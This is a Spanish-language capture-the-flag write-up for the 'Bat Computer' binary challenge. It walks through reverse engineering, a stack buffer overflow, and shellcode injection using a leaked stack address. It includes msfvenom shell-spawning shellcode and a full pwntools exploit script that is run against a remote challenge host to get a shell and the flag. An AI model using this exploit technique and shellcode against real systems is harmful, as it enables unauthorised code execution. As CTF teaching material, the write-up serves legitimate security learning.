Bat Computer
5 minutos de lectura
Se nos proporciona un binario de 64 bits llamado batcomputer
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
Ingeniería inversa
Si usamod Ghidra, veremos el código descompilado en C para la función main
:
int main() {
int res;
int option;
char password[16];
char command[76];
setup();
while(true) {
while(true) {
memset(password, 0, 16);
printf("Welcome to your BatComputer, Batman. What would you like to do?\n1. Track Joker\n2. Cha se Joker\n> ");
__isoc99_scanf("%d", &option);
if (option != 1) break;
printf("It was very hard, but Alfred managed to locate him: %p\n", command);
}
if (option != 2) break;
printf("Ok. Let\'s do this. Enter the password: ");
__isoc99_scanf("%15s", password);
res = strcmp(password, "b4tp@$$w0rd!");
if (res != 0) {
puts("The password is wrong.\nI can\'t give you access to the BatMobile!");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Access Granted. \nEnter the navigation commands: ");
read(0, command, 137);
puts("Roger that!");
}
puts("Too bad, now who\'s gonna save Gotham? Alfred?");
return 0;
}
Tenemos dos opciones:
- La primera muestra la dirección de memoria de la variable
command
:
$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 1
It was very hard, but Alfred managed to locate him: 0x7ffc8e4e96c4
- Y la segunda requiere una contraseña:
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: asdf
The password is wrong.
I can't give you access to the BatMobile!
La contraseña se encuentra escrita en el código (b4tp@$$w0rd!
):
$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: b4tp@$$w0rd!
Access Granted.
Enter the navigation commands: asdf
Roger that!
Vulnerabilidad de Buffer Overflow
Podemos ver en el código anterior que command
es una cadena de caracteres de 76 bytes, pero el programa permite introducir hasta 137 bytes. Esto lleva a una vulnerabilidad de Buffer Overflow. Lo podemos probar dinámicamente:
$ ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: b4tp@$$w0rd!
Access Granted.
Enter the navigation commands: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Roger that!
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 3
Too bad, now who's gonna save Gotham? Alfred?
zsh: segmentation fault (core dumped) ./batcomputer
Nótese que puse un montón de caracteres y salí del bucle while
usando una opción inválida (3
). Cuando el programa quiere retornar de main
, la dirección de retorno guardada en la pila ha sido sobrescrita con 0x4141414141414141
(nuestros datos de entrada). Como no es una dirección de memoria válida, el programa simplemente se rompe (violación de segmento o segmentation fault).
Explotación de Buffer Overflow
En primer lugar, nos interesa controlar la ejecución del programa. Esto es, queremos controlar el valor de la dirección de retorno. Para ello, vamos a emplear GDB:
$ gdb -q batcomputer
Reading symbols from batcomputer...
(No debugging symbols found in batcomputer)
gef➤ pattern create 136
[+] Generating a pattern of 136 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./batcomputer
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 2
Ok. Let's do this. Enter the password: b4tp@$$w0rd!
Access Granted.
Enter the navigation commands: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaa
aqaaaaaaa
Roger that!
Welcome to your BatComputer, Batman. What would you like to do?
1. Track Joker
2. Chase Joker
> 3
Too bad, now who's gonna save Gotham? Alfred?
Program received signal SIGSEGV, Segmentation fault.
0x000055555555531f in ?? ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 84 (little-endian search) likely
[+] Found at offset 85 (big-endian search)
Y aquí vemos que el offset es 84, por lo que necesitamos exactamente 84 bytes para llegar a la posición en la que se encuentra la dirección de retorno guardada en la pila.
Como NX está deshabilitado, podemos introducir shellcode en la pila y ejecutarlo. Para esto, podemos aprovecharnos de la fuga de memoria de la primera opción (dirección de command
) y sobrescribir la dirección de retorno con esta dirección. Luego, en lugar de poner bytes cualesquiera, pondremos shellcode para obtener una shell.
Por ejemplo, podemos usar msfvenom
:
$ msfvenom -p linux/x64/exec -f py
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 21 bytes
Final size of py file: 117 bytes
buf = b""
buf += b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50"
buf += b"\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05"
Este shellcode es muy corto (solamente 21 bytes), por lo que necesitaremos algo de relleno para llegar a los 84 bytes (no hay necesidad de usar instrucciones nop
porque sabemos la dirección exacta donde estará almacenado nuestro shellcode).
Exploit final
Este es el exploit
def main():
p = get_process()
p.sendlineafter(b'> ', b'1')
p.recvuntil(b'It was very hard, but Alfred managed to locate him: ')
command_addr = int(p.recvline().decode(), 16)
offset = 84
shellcode = b'\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x99\x50\x54\x5f\x52\x5e\x6a\x3b\x58\x0f\x05'
payload = shellcode
payload += b'A' * (offset - len(payload))
payload += p64(command_addr)
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b"Ok. Let's do this. Enter the password: ", b'b4tp@$$w0rd!')
p.sendlineafter(b'Enter the navigation commands: ', payload)
p.sendlineafter(b'> ', b'3')
p.recv()
p.interactive()
Si lo ejecutamos en local, obtenemos una shell:
$ python3 solve.py
[*] './batcomputer'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Starting local process './batcomputer': pid 3187554
[*] Switching to interactive mode
$ ls
batcomputer solve.py
$
[*] Interrupted
[*] Stopped process './batcomputer' (pid 3187554)
Flag
Vamos a probar en remoto:
$ python3 solve.py 178.62.79.95:30907
[*] './batcomputer'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
[+] Opening connection to 178.62.79.95 on port 30907: Done
[*] Switching to interactive mode
$ ls
batcomputer
flag.txt
$ cat flag.txt
HTB{l0v3_y0uR_sh3llf_U_s4v3d_th3_w0rld!}
El exploit completo se puede encontrar aquí: solve.py
.